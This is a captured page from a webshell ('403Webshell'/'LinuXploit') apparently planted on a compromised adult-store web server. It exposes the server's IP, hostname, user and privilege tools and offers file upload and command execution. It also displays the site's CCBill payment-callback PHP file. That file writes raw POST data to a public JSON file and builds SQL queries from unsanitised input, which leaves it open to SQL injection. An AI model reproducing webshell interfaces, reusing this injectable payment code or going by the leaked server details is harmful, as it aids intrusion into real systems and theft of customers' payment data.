403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/ccbill_process.php
<?php

@file_put_contents("array.json",json_encode($_POST));

if (isset($_POST['initialPrice']) && empty($_POST['denialId'])) {
    
		include ('site.config.php');
		
        $posData = trim($_POST['posData']);   $Ecom_Ezic_Misc_Information = $posData;
        $amount = trim($_POST['initialPrice']);
        $subscription_id = trim($_POST['subscription_id']);
        empty($_POST['denialId'])? $status = "accepted" : $status = "denied" ;
        
        $Ecom_Ezic_TransactionId = $subscription_id;
        
        
        
        $consumer_id = explode("," , $posData);
        $consumer_id = $consumer_id[0];
        
        
        //Get from ecomz_bitpay
        $query1  = @mysql_query("SELECT * FROM ecomz_bitpay WHERE consumerID = '" . $consumer_id . "' LIMIT 1") or die(mysql_error());
        if (@mysql_num_rows($query1) == 1) {
            
          $result = mysql_fetch_object($query1);  
            
        }
        
        //Then delete the value
        $query2 = @mysql_query("DELETE FROM ecomz_bitpay WHERE consumerID = '" . $consumer_id . "'");
        
        //Store in bitpay_log table  
        $ccbill_log = @mysql_query("INSERT INTO ccbill_log (consumerID, cost_Total, misc_Information, 
                                                             billTo_Online_Email, subscription_id, status                       
                                  )
                                     VALUES
                                  (
                                      '". $consumer_id ."',
                                      '". $amount ."',
                                      '". $result->misc_Information ."',
                                      '". $result->billTo_Online_Email ."',
                                      '". $subscription_id  ."',
                                      '". $status ."'
                                   )
                                   ") or die(mysql_error());
        
        

		$items = explode(";", $Ecom_Ezic_Misc_Information);
		foreach ($items as $item) {
			$itemInfo = explode(",", $item);
			
			if(isset($itemInfo[1])) {
				
				$t_memberID = $itemInfo[0];
				$t_cartID = $itemInfo[1];
				$t_itemType = $itemInfo[2];
				$t_itemID = $itemInfo[3];
				$t_itemPrice = $itemInfo[4];
				$t_relatedID = $itemInfo[5];
				
				if($t_itemType < 3) {
					$setStatus = 1;	
				} else {
					$setStatus = 0;	
				}
				$purchaseAdd = @mysql_query("INSERT INTO cms_billing_purchases SET
												purchaseDate = '".$timestamp ."',
												memberID = '" . $t_memberID . "',
												transactionID = '".$Ecom_Ezic_TransactionId."',
												itemType = '" . $t_itemType . "',
												itemID = '" . $t_itemID . "',
												status = '" . $setStatus . "',
												itemPrice = '" . $t_itemPrice . "',
												relatedID = '" . $t_relatedID . "'");
												
				if($t_itemType == 3) { // Custom
					$customUpdate = @mysql_query("UPDATE cms_billing_custom SET status = '1' WHERE customID = '".$t_relatedID."'");
					$customDetails = cartCustomDetails($t_memberID, $t_relatedID);
					notificationEmail(1,$customDetails->modelID,"customOrder");
				} elseif ($t_itemType == 4) { // Private
					$customUpdate = @mysql_query("UPDATE cms_billing_custom SET status = '1' WHERE customID = '".$t_relatedID."'");
					$customDetails = cartCustomDetails($t_memberID, $t_relatedID);
					notificationEmail(1,$customDetails->modelID,"customOrder");
				} elseif ($t_itemType == 6) { // Private
					$privateUpdate = @mysql_query("UPDATE cms_billing_private SET status = '1' WHERE privateID = '".$t_relatedID."'");
					$privateDetails = cartPrivateDetails($t_memberID, $t_relatedID);
					notificationEmail(1,$customDetails->modelID,"privateOrder");
					
				}
				
				$cartClear = @mysql_query("DELETE FROM cms_billing_cart WHERE cartID = '" . $t_cartID . "' AND memberID = '" . $t_memberID . "'");
				
			}
		}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit